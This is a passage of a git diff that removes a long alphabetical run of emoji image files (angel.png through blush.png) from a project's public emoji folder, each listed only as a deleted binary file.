--- a/public/-/emojis/2/angel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/angel_tone1.png b/public/-/emojis/2/angel_tone1.png
deleted file mode 100644
index 18259c2e4e4..00000000000
--- a/public/-/emojis/2/angel_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/angel_tone2.png b/public/-/emojis/2/angel_tone2.png
deleted file mode 100644
index ae68aca6762..00000000000
--- a/public/-/emojis/2/angel_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/angel_tone3.png b/public/-/emojis/2/angel_tone3.png
deleted file mode 100644
index 1d5aa264fb8..00000000000
--- a/public/-/emojis/2/angel_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/angel_tone4.png b/public/-/emojis/2/angel_tone4.png
deleted file mode 100644
index b2941f9e070..00000000000
--- a/public/-/emojis/2/angel_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/angel_tone5.png b/public/-/emojis/2/angel_tone5.png
deleted file mode 100644
index 6394add333b..00000000000
--- a/public/-/emojis/2/angel_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/anger.png b/public/-/emojis/2/anger.png
deleted file mode 100644
index 25466fed05e..00000000000
--- a/public/-/emojis/2/anger.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/anger_right.png b/public/-/emojis/2/anger_right.png
deleted file mode 100644
index 9641ec97776..00000000000
--- a/public/-/emojis/2/anger_right.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/angry.png b/public/-/emojis/2/angry.png
deleted file mode 100644
index c0733406da0..00000000000
--- a/public/-/emojis/2/angry.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/anguished.png b/public/-/emojis/2/anguished.png
deleted file mode 100644
index eebc6151768..00000000000
--- a/public/-/emojis/2/anguished.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ant.png b/public/-/emojis/2/ant.png
deleted file mode 100644
index 60aa9ff6b49..00000000000
--- a/public/-/emojis/2/ant.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/apple.png b/public/-/emojis/2/apple.png
deleted file mode 100644
index 27350ac35ec..00000000000
--- a/public/-/emojis/2/apple.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/aquarius.png b/public/-/emojis/2/aquarius.png
deleted file mode 100644
index 312ec96a87f..00000000000
--- a/public/-/emojis/2/aquarius.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/aries.png b/public/-/emojis/2/aries.png
deleted file mode 100644
index 217f039622e..00000000000
--- a/public/-/emojis/2/aries.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_backward.png b/public/-/emojis/2/arrow_backward.png
deleted file mode 100644
index 945dfc26a35..00000000000
--- a/public/-/emojis/2/arrow_backward.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_double_down.png b/public/-/emojis/2/arrow_double_down.png
deleted file mode 100644
index 815bdd6159a..00000000000
--- a/public/-/emojis/2/arrow_double_down.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_double_up.png b/public/-/emojis/2/arrow_double_up.png
deleted file mode 100644
index fcdf56cf945..00000000000
--- a/public/-/emojis/2/arrow_double_up.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_down.png b/public/-/emojis/2/arrow_down.png
deleted file mode 100644
index c3324b0d09a..00000000000
--- a/public/-/emojis/2/arrow_down.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_down_small.png b/public/-/emojis/2/arrow_down_small.png
deleted file mode 100644
index 76669cccc7f..00000000000
--- a/public/-/emojis/2/arrow_down_small.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_forward.png b/public/-/emojis/2/arrow_forward.png
deleted file mode 100644
index 942919867db..00000000000
--- a/public/-/emojis/2/arrow_forward.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_heading_down.png b/public/-/emojis/2/arrow_heading_down.png
deleted file mode 100644
index a9580ec0878..00000000000
--- a/public/-/emojis/2/arrow_heading_down.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_heading_up.png b/public/-/emojis/2/arrow_heading_up.png
deleted file mode 100644
index 065a8d5f1fb..00000000000
--- a/public/-/emojis/2/arrow_heading_up.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_left.png b/public/-/emojis/2/arrow_left.png
deleted file mode 100644
index dbb2da0a0f3..00000000000
--- a/public/-/emojis/2/arrow_left.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_lower_left.png b/public/-/emojis/2/arrow_lower_left.png
deleted file mode 100644
index 9325b7b56e8..00000000000
--- a/public/-/emojis/2/arrow_lower_left.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_lower_right.png b/public/-/emojis/2/arrow_lower_right.png
deleted file mode 100644
index e2dd592ae65..00000000000
--- a/public/-/emojis/2/arrow_lower_right.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_right.png b/public/-/emojis/2/arrow_right.png
deleted file mode 100644
index dcf8c2e85b4..00000000000
--- a/public/-/emojis/2/arrow_right.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_right_hook.png b/public/-/emojis/2/arrow_right_hook.png
deleted file mode 100644
index 2b9451d6952..00000000000
--- a/public/-/emojis/2/arrow_right_hook.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_up.png b/public/-/emojis/2/arrow_up.png
deleted file mode 100644
index e1ebc410205..00000000000
--- a/public/-/emojis/2/arrow_up.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_up_down.png b/public/-/emojis/2/arrow_up_down.png
deleted file mode 100644
index 8b95dc16798..00000000000
--- a/public/-/emojis/2/arrow_up_down.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_up_small.png b/public/-/emojis/2/arrow_up_small.png
deleted file mode 100644
index 6b9cd657389..00000000000
--- a/public/-/emojis/2/arrow_up_small.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_upper_left.png b/public/-/emojis/2/arrow_upper_left.png
deleted file mode 100644
index 6dd24d91a2b..00000000000
--- a/public/-/emojis/2/arrow_upper_left.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrow_upper_right.png b/public/-/emojis/2/arrow_upper_right.png
deleted file mode 100644
index 8605d33549c..00000000000
--- a/public/-/emojis/2/arrow_upper_right.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrows_clockwise.png b/public/-/emojis/2/arrows_clockwise.png
deleted file mode 100644
index 6d554e08a56..00000000000
--- a/public/-/emojis/2/arrows_clockwise.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/arrows_counterclockwise.png b/public/-/emojis/2/arrows_counterclockwise.png
deleted file mode 100644
index 70db5fda865..00000000000
--- a/public/-/emojis/2/arrows_counterclockwise.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/art.png b/public/-/emojis/2/art.png
deleted file mode 100644
index 7e6cf11427b..00000000000
--- a/public/-/emojis/2/art.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/articulated_lorry.png b/public/-/emojis/2/articulated_lorry.png
deleted file mode 100644
index b3a8725b960..00000000000
--- a/public/-/emojis/2/articulated_lorry.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/asterisk.png b/public/-/emojis/2/asterisk.png
deleted file mode 100644
index bbf793deb72..00000000000
--- a/public/-/emojis/2/asterisk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/asterisk_symbol.png b/public/-/emojis/2/asterisk_symbol.png
deleted file mode 100644
index eb0102307e5..00000000000
--- a/public/-/emojis/2/asterisk_symbol.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/astonished.png b/public/-/emojis/2/astonished.png
deleted file mode 100644
index 0851b2a5824..00000000000
--- a/public/-/emojis/2/astonished.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/athletic_shoe.png b/public/-/emojis/2/athletic_shoe.png
deleted file mode 100644
index a8bd145fe19..00000000000
--- a/public/-/emojis/2/athletic_shoe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/atm.png b/public/-/emojis/2/atm.png
deleted file mode 100644
index 01ef9e4f11f..00000000000
--- a/public/-/emojis/2/atm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/atom.png b/public/-/emojis/2/atom.png
deleted file mode 100644
index 9321aa2eb94..00000000000
--- a/public/-/emojis/2/atom.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/avocado.png b/public/-/emojis/2/avocado.png
deleted file mode 100644
index ad5138a09de..00000000000
--- a/public/-/emojis/2/avocado.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/b.png b/public/-/emojis/2/b.png
deleted file mode 100644
index 9d87868a8f5..00000000000
--- a/public/-/emojis/2/b.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby.png b/public/-/emojis/2/baby.png
deleted file mode 100644
index 27ef334beca..00000000000
--- a/public/-/emojis/2/baby.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_bottle.png b/public/-/emojis/2/baby_bottle.png
deleted file mode 100644
index ba936f36868..00000000000
--- a/public/-/emojis/2/baby_bottle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_chick.png b/public/-/emojis/2/baby_chick.png
deleted file mode 100644
index 0ffd06e3c02..00000000000
--- a/public/-/emojis/2/baby_chick.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_symbol.png b/public/-/emojis/2/baby_symbol.png
deleted file mode 100644
index cd5808966dc..00000000000
--- a/public/-/emojis/2/baby_symbol.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_tone1.png b/public/-/emojis/2/baby_tone1.png
deleted file mode 100644
index 12bcbb75727..00000000000
--- a/public/-/emojis/2/baby_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_tone2.png b/public/-/emojis/2/baby_tone2.png
deleted file mode 100644
index cff49b8608f..00000000000
--- a/public/-/emojis/2/baby_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_tone3.png b/public/-/emojis/2/baby_tone3.png
deleted file mode 100644
index 44819b4e14e..00000000000
--- a/public/-/emojis/2/baby_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_tone4.png b/public/-/emojis/2/baby_tone4.png
deleted file mode 100644
index 974f873d24f..00000000000
--- a/public/-/emojis/2/baby_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baby_tone5.png b/public/-/emojis/2/baby_tone5.png
deleted file mode 100644
index a756e4e1645..00000000000
--- a/public/-/emojis/2/baby_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/back.png b/public/-/emojis/2/back.png
deleted file mode 100644
index f3e90b0d894..00000000000
--- a/public/-/emojis/2/back.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bacon.png b/public/-/emojis/2/bacon.png
deleted file mode 100644
index ef7407dfaba..00000000000
--- a/public/-/emojis/2/bacon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/badger.png b/public/-/emojis/2/badger.png
deleted file mode 100644
index 87f5a3f2d7e..00000000000
--- a/public/-/emojis/2/badger.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/badminton.png b/public/-/emojis/2/badminton.png
deleted file mode 100644
index d2b0c7349d4..00000000000
--- a/public/-/emojis/2/badminton.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bagel.png b/public/-/emojis/2/bagel.png
deleted file mode 100644
index 26541ee8b79..00000000000
--- a/public/-/emojis/2/bagel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baggage_claim.png b/public/-/emojis/2/baggage_claim.png
deleted file mode 100644
index 485defe1751..00000000000
--- a/public/-/emojis/2/baggage_claim.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/balance_scale.png b/public/-/emojis/2/balance_scale.png
deleted file mode 100644
index 458cdebd958..00000000000
--- a/public/-/emojis/2/balance_scale.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bald.png b/public/-/emojis/2/bald.png
deleted file mode 100644
index 884f247161f..00000000000
--- a/public/-/emojis/2/bald.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/balloon.png b/public/-/emojis/2/balloon.png
deleted file mode 100644
index 94f5ea24625..00000000000
--- a/public/-/emojis/2/balloon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ballot_box.png b/public/-/emojis/2/ballot_box.png
deleted file mode 100644
index f64b08ad8f3..00000000000
--- a/public/-/emojis/2/ballot_box.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ballot_box_with_check.png b/public/-/emojis/2/ballot_box_with_check.png
deleted file mode 100644
index 49f9064310c..00000000000
--- a/public/-/emojis/2/ballot_box_with_check.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bamboo.png b/public/-/emojis/2/bamboo.png
deleted file mode 100644
index ed44252e590..00000000000
--- a/public/-/emojis/2/bamboo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/banana.png b/public/-/emojis/2/banana.png
deleted file mode 100644
index 1fdaa33c292..00000000000
--- a/public/-/emojis/2/banana.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bangbang.png b/public/-/emojis/2/bangbang.png
deleted file mode 100644
index ad477e995d6..00000000000
--- a/public/-/emojis/2/bangbang.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bank.png b/public/-/emojis/2/bank.png
deleted file mode 100644
index f37558162f0..00000000000
--- a/public/-/emojis/2/bank.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bar_chart.png b/public/-/emojis/2/bar_chart.png
deleted file mode 100644
index 93352bb2c66..00000000000
--- a/public/-/emojis/2/bar_chart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/barber.png b/public/-/emojis/2/barber.png
deleted file mode 100644
index e58f3e8ec57..00000000000
--- a/public/-/emojis/2/barber.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/baseball.png b/public/-/emojis/2/baseball.png
deleted file mode 100644
index 7d8fbd8f274..00000000000
--- a/public/-/emojis/2/baseball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/basket.png b/public/-/emojis/2/basket.png
deleted file mode 100644
index 465f57d891b..00000000000
--- a/public/-/emojis/2/basket.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/basketball.png b/public/-/emojis/2/basketball.png
deleted file mode 100644
index 5bca4045d67..00000000000
--- a/public/-/emojis/2/basketball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/basketball_man.png b/public/-/emojis/2/basketball_man.png
deleted file mode 100644
index 48da4f95ee4..00000000000
--- a/public/-/emojis/2/basketball_man.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bat.png b/public/-/emojis/2/bat.png
deleted file mode 100644
index 52279093d6d..00000000000
--- a/public/-/emojis/2/bat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bath.png b/public/-/emojis/2/bath.png
deleted file mode 100644
index 4c71685d4e5..00000000000
--- a/public/-/emojis/2/bath.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bath_tone1.png b/public/-/emojis/2/bath_tone1.png
deleted file mode 100644
index b320fe98279..00000000000
--- a/public/-/emojis/2/bath_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bath_tone2.png b/public/-/emojis/2/bath_tone2.png
deleted file mode 100644
index 05b623e5e5e..00000000000
--- a/public/-/emojis/2/bath_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bath_tone3.png b/public/-/emojis/2/bath_tone3.png
deleted file mode 100644
index ea04e248211..00000000000
--- a/public/-/emojis/2/bath_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bath_tone4.png b/public/-/emojis/2/bath_tone4.png
deleted file mode 100644
index 7cca3594a0a..00000000000
--- a/public/-/emojis/2/bath_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bath_tone5.png b/public/-/emojis/2/bath_tone5.png
deleted file mode 100644
index 0a18f22657a..00000000000
--- a/public/-/emojis/2/bath_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bathtub.png b/public/-/emojis/2/bathtub.png
deleted file mode 100644
index 9c15e3e7471..00000000000
--- a/public/-/emojis/2/bathtub.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/battery.png b/public/-/emojis/2/battery.png
deleted file mode 100644
index 7bd8d79aa65..00000000000
--- a/public/-/emojis/2/battery.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/beach.png b/public/-/emojis/2/beach.png
deleted file mode 100644
index 7c8ff98b227..00000000000
--- a/public/-/emojis/2/beach.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/beach_umbrella.png b/public/-/emojis/2/beach_umbrella.png
deleted file mode 100644
index 70384c369e6..00000000000
--- a/public/-/emojis/2/beach_umbrella.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bear.png b/public/-/emojis/2/bear.png
deleted file mode 100644
index b503d3466d4..00000000000
--- a/public/-/emojis/2/bear.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bearded_person.png b/public/-/emojis/2/bearded_person.png
deleted file mode 100644
index d8d48ecef89..00000000000
--- a/public/-/emojis/2/bearded_person.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bearded_person_tone1.png b/public/-/emojis/2/bearded_person_tone1.png
deleted file mode 100644
index f54b53e6d5a..00000000000
--- a/public/-/emojis/2/bearded_person_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bearded_person_tone2.png b/public/-/emojis/2/bearded_person_tone2.png
deleted file mode 100644
index bcd496274a8..00000000000
--- a/public/-/emojis/2/bearded_person_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bearded_person_tone3.png b/public/-/emojis/2/bearded_person_tone3.png
deleted file mode 100644
index a0bc2ee7c73..00000000000
--- a/public/-/emojis/2/bearded_person_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bearded_person_tone4.png b/public/-/emojis/2/bearded_person_tone4.png
deleted file mode 100644
index 8e88e3a22f6..00000000000
--- a/public/-/emojis/2/bearded_person_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bearded_person_tone5.png b/public/-/emojis/2/bearded_person_tone5.png
deleted file mode 100644
index f3d6efb4f2d..00000000000
--- a/public/-/emojis/2/bearded_person_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bed.png b/public/-/emojis/2/bed.png
deleted file mode 100644
index 78d70b1fd7e..00000000000
--- a/public/-/emojis/2/bed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bee.png b/public/-/emojis/2/bee.png
deleted file mode 100644
index 2be47788d86..00000000000
--- a/public/-/emojis/2/bee.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/beer.png b/public/-/emojis/2/beer.png
deleted file mode 100644
index f933ed4e24d..00000000000
--- a/public/-/emojis/2/beer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/beers.png b/public/-/emojis/2/beers.png
deleted file mode 100644
index b19cd66413c..00000000000
--- a/public/-/emojis/2/beers.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/beetle.png b/public/-/emojis/2/beetle.png
deleted file mode 100644
index d057f1073e5..00000000000
--- a/public/-/emojis/2/beetle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/beginner.png b/public/-/emojis/2/beginner.png
deleted file mode 100644
index 7dea4137ca7..00000000000
--- a/public/-/emojis/2/beginner.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bell.png b/public/-/emojis/2/bell.png
deleted file mode 100644
index 2b797e9af32..00000000000
--- a/public/-/emojis/2/bell.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bellhop.png b/public/-/emojis/2/bellhop.png
deleted file mode 100644
index 3ca519028f6..00000000000
--- a/public/-/emojis/2/bellhop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bento.png b/public/-/emojis/2/bento.png
deleted file mode 100644
index 58ecd9dfdae..00000000000
--- a/public/-/emojis/2/bento.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bicyclist.png b/public/-/emojis/2/bicyclist.png
deleted file mode 100644
index b73edf20f8c..00000000000
--- a/public/-/emojis/2/bicyclist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bicyclist_tone1.png b/public/-/emojis/2/bicyclist_tone1.png
deleted file mode 100644
index fdb018eb3a2..00000000000
--- a/public/-/emojis/2/bicyclist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bicyclist_tone2.png b/public/-/emojis/2/bicyclist_tone2.png
deleted file mode 100644
index da4e65de3c1..00000000000
--- a/public/-/emojis/2/bicyclist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bicyclist_tone3.png b/public/-/emojis/2/bicyclist_tone3.png
deleted file mode 100644
index bbfae9c968a..00000000000
--- a/public/-/emojis/2/bicyclist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bicyclist_tone4.png b/public/-/emojis/2/bicyclist_tone4.png
deleted file mode 100644
index b66dc2aec4b..00000000000
--- a/public/-/emojis/2/bicyclist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bicyclist_tone5.png b/public/-/emojis/2/bicyclist_tone5.png
deleted file mode 100644
index d5aa37256b4..00000000000
--- a/public/-/emojis/2/bicyclist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bike.png b/public/-/emojis/2/bike.png
deleted file mode 100644
index 302a0faa308..00000000000
--- a/public/-/emojis/2/bike.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bikini.png b/public/-/emojis/2/bikini.png
deleted file mode 100644
index 849dffb7385..00000000000
--- a/public/-/emojis/2/bikini.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/billed_cap.png b/public/-/emojis/2/billed_cap.png
deleted file mode 100644
index 9fee2cbc3ce..00000000000
--- a/public/-/emojis/2/billed_cap.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/biohazard.png b/public/-/emojis/2/biohazard.png
deleted file mode 100644
index f281c52872c..00000000000
--- a/public/-/emojis/2/biohazard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bird.png b/public/-/emojis/2/bird.png
deleted file mode 100644
index c8c9af93d3e..00000000000
--- a/public/-/emojis/2/bird.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/birthday.png b/public/-/emojis/2/birthday.png
deleted file mode 100644
index c15ad8f3160..00000000000
--- a/public/-/emojis/2/birthday.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_circle.png b/public/-/emojis/2/black_circle.png
deleted file mode 100644
index 962a3efb29b..00000000000
--- a/public/-/emojis/2/black_circle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_heart.png b/public/-/emojis/2/black_heart.png
deleted file mode 100644
index 0c8c321d21c..00000000000
--- a/public/-/emojis/2/black_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_joker.png b/public/-/emojis/2/black_joker.png
deleted file mode 100644
index 418f0c74fc1..00000000000
--- a/public/-/emojis/2/black_joker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_large_square.png b/public/-/emojis/2/black_large_square.png
deleted file mode 100644
index ed9474fbaa0..00000000000
--- a/public/-/emojis/2/black_large_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_medium_small_square.png b/public/-/emojis/2/black_medium_small_square.png
deleted file mode 100644
index 8c7ab85b26a..00000000000
--- a/public/-/emojis/2/black_medium_small_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_medium_square.png b/public/-/emojis/2/black_medium_square.png
deleted file mode 100644
index 77c25b48169..00000000000
--- a/public/-/emojis/2/black_medium_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_nib.png b/public/-/emojis/2/black_nib.png
deleted file mode 100644
index 0f1735a254d..00000000000
--- a/public/-/emojis/2/black_nib.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_small_square.png b/public/-/emojis/2/black_small_square.png
deleted file mode 100644
index 4902face1b6..00000000000
--- a/public/-/emojis/2/black_small_square.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/black_square_button.png b/public/-/emojis/2/black_square_button.png
deleted file mode 100644
index 3b0e93fb03e..00000000000
--- a/public/-/emojis/2/black_square_button.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_man.png b/public/-/emojis/2/blond-haired_man.png
deleted file mode 100644
index 8b31de5a1ac..00000000000
--- a/public/-/emojis/2/blond-haired_man.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_man_tone1.png b/public/-/emojis/2/blond-haired_man_tone1.png
deleted file mode 100644
index a56b17ccd17..00000000000
--- a/public/-/emojis/2/blond-haired_man_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_man_tone2.png b/public/-/emojis/2/blond-haired_man_tone2.png
deleted file mode 100644
index 76ded7470f2..00000000000
--- a/public/-/emojis/2/blond-haired_man_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_man_tone3.png b/public/-/emojis/2/blond-haired_man_tone3.png
deleted file mode 100644
index e9a4a5a5d94..00000000000
--- a/public/-/emojis/2/blond-haired_man_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_man_tone4.png b/public/-/emojis/2/blond-haired_man_tone4.png
deleted file mode 100644
index 1cc16ea24dc..00000000000
--- a/public/-/emojis/2/blond-haired_man_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_man_tone5.png b/public/-/emojis/2/blond-haired_man_tone5.png
deleted file mode 100644
index 6d209a69e7c..00000000000
--- a/public/-/emojis/2/blond-haired_man_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_woman.png b/public/-/emojis/2/blond-haired_woman.png
deleted file mode 100644
index 68f140b79e7..00000000000
--- a/public/-/emojis/2/blond-haired_woman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_woman_tone1.png b/public/-/emojis/2/blond-haired_woman_tone1.png
deleted file mode 100644
index f8e12054808..00000000000
--- a/public/-/emojis/2/blond-haired_woman_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_woman_tone2.png b/public/-/emojis/2/blond-haired_woman_tone2.png
deleted file mode 100644
index f3cb654586f..00000000000
--- a/public/-/emojis/2/blond-haired_woman_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_woman_tone3.png b/public/-/emojis/2/blond-haired_woman_tone3.png
deleted file mode 100644
index 2e8b9ccdff1..00000000000
--- a/public/-/emojis/2/blond-haired_woman_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_woman_tone4.png b/public/-/emojis/2/blond-haired_woman_tone4.png
deleted file mode 100644
index fc845d1e7b3..00000000000
--- a/public/-/emojis/2/blond-haired_woman_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blond-haired_woman_tone5.png b/public/-/emojis/2/blond-haired_woman_tone5.png
deleted file mode 100644
index c1f15a68abb..00000000000
--- a/public/-/emojis/2/blond-haired_woman_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blossom.png b/public/-/emojis/2/blossom.png
deleted file mode 100644
index 68bb71bf929..00000000000
--- a/public/-/emojis/2/blossom.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blowfish.png b/public/-/emojis/2/blowfish.png
deleted file mode 100644
index 64f2292aada..00000000000
--- a/public/-/emojis/2/blowfish.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blue_book.png b/public/-/emojis/2/blue_book.png
deleted file mode 100644
index 81e08ea53e5..00000000000
--- a/public/-/emojis/2/blue_book.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blue_car.png b/public/-/emojis/2/blue_car.png
deleted file mode 100644
index e2db43028ea..00000000000
--- a/public/-/emojis/2/blue_car.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blue_circle.png b/public/-/emojis/2/blue_circle.png
deleted file mode 100644
index 3f44b6f0463..00000000000
--- a/public/-/emojis/2/blue_circle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blue_heart.png b/public/-/emojis/2/blue_heart.png
deleted file mode 100644
index 583266a1c1c..00000000000
--- a/public/-/emojis/2/blue_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/blush.png b/public/-/emojis/2/blush.png
deleted file mode 100644
index 771f4303f29..00000000000
